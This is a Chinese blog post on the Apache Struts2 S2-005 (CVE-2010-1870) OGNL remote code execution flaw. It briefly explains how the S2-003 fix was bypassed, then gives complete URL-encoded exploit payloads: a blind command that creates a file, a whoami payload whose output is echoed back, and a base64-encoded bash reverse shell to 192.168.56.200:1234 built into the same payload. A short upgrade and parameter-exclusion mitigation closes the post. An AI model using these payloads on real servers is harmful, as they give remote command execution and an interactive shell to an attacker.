首页 > 其他分享 >s2-005

s2-005

时间:2023-01-06 18:45:10浏览次数:59  
标签:27 27% s2 3d% 005 S2 23resp 2b%

漏洞名称

(CVE-2010-1870) - XWork ParameterInterceptors旁路允许远程命令执行

利用条件

Struts 2.0.0 - Struts 2.1.8.1

漏洞原理

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

漏洞利用

1.无回显利用

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/EDI%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1

image-20221228180207289

创建文件EDI

image-20221228180224025

2.有回显

注意:更改为post请求

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27whoami%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

image-20221228180445426

2.1 反弹shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

特殊字符编码后放入poc

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27bash+-c+{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

image-20221228181100027

image-20221228181111242

修复建议

强烈建议升级到 Struts 2.2.1,其中包含更正后的 XWork 库。

可能的缓解解决方法:在 struts 中配置参数内.xml以排除恶意参数

John Wilander 建议的以下附加拦截器引用配置在正确应用时应该可以缓解问题:

<interceptor-ref name=``"params"``>``  ``<param name=``"excludeParams"``>dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>``</interceptor-ref>

参考文章

https://www.cnblogs.com/blankunbeaten/p/14826753.html

标签:27,27%,s2,3d%,005,S2,23resp,2b%
From: https://www.cnblogs.com/crayonxiaoxin/p/17031348.html

相关文章

  • s2-007
    漏洞名称S2-007CVE-2012-0838远程代码执行利用条件Struts2.0.0-Struts2.2.3漏洞原理age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ong......
  • S2-008
    漏洞名称S2-008(CVE-2012-0392)远程代码执行漏洞利用条件Struts2.0.0-Struts2.3.17漏洞原理S2-008涉及多个漏洞,Cookie拦截器错误配置可造成OGNL表达式执行,但......
  • S2-009 CVE-2011-3923
    漏洞名称CVE-2011-3923S2-009远程代码执行漏洞利用条件Struts2.0.0-Struts2.3.1.1漏洞原理OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过Para......
  • Strus2_Action中访问Web资源
    1.什么是web资源?如:HttpServletRequest,HttpSession,ServletContext等原生的ServletAPI2.为什么访问web资源?B/S架构的应用的controller中,必然需要访问web资源,域对象中读写属性,......
  • S2 - Lesson 15 - Good news
    Words secretsecretary nervous[紧张的]nerveirritable[易怒的]  affordcan/beableto+afford+sth./todosth.Thefirmcouldnotaffordtopaysu......
  • S2 - Lesson 14 - Do you speak English?
    Words amusing experienceanamusingexperience wave liftasksb.foralift replyv.replytosb.  languagethesamelanguagebodylanguage......
  • ros2的cv_bridge库opencv版本不匹配问题
    ros2的cv_bridge库opencv版本不匹配问题问题:libopencv_imgcodecs.so.4.2:cannotopensharedobjectfile:nosuchfileordirectory原因ros安装的时候默认的......
  • cocos2d-x基于windows平台交叉编辑android工程
    cocos2d-x确实是一款优秀的引擎,尽管和正规军的unity3d比起来它显得有点土,但它在移动平台上的性能表现着实惊艳。以下讲解如何将win32工程交叉编译到android平台。 一、环境......
  • Cocos2d-x windows + vs2010 配置图文详解
    参考:​​http://tieba.baidu.com/p/1461284351​​ 1.下载最新版的cocos2d-x。打开浏览器,输入cocos2d-x.org,然后选择Download,本教程写作时最新版本为cocos2d-1.01-x-0.9.1,......
  • Sql Server 2005各大版本区别与下载
    SQLServer2005是一个全面的数据库平台,使用集成的商业智能(BI)工具提供了企业级的数据管理。SQLServer2005数据库引擎为关系型数据和结构化数据提供了更安全可靠的存......